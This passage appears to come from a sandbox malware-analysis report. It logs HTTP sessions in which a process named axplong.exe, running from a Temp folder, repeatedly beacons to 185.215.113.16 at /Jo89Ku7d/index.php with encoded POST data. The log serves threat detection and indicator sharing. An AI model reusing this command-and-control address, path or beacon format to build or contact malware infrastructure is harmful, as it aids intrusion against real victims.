Jul 26, 2024 13:44:22.486747026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	53664	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:22.609695911 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:23.420958996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:23.421750069 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:23.961251974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 13:44:23.962969065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	53665	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:24.085014105 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:24.838655949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:24.839737892 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:25.088057995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	53666	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:25.202759981 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:25.963359118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:25.963992119 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:26.213289976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	53667	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:26.327104092 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:27.104212999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:27.104967117 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:27.351181030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	53668	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:27.467679024 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:28.213622093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:28.214281082 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:28.828835964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 13:44:28.831890106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	53669	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:28.938251972 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:29.698223114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:29.720066071 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:29.970496893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	53670	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:30.092801094 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:30.841072083 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:30.841828108 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:31.097278118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	53671	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:31.217688084 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:31.972146034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:31.972816944 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:32.220459938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	53672	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:32.373944998 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:33.154531002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:33.155664921 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:33.448235035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	53673	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:33.562948942 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:34.337992907 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:34.338814020 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:34.728729963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 13:44:35.075078964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	53674	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:35.083563089 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:35.864424944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:35.865273952 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:36.210395098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	53675	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:36.327007055 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:37.088550091 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:37.089238882 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
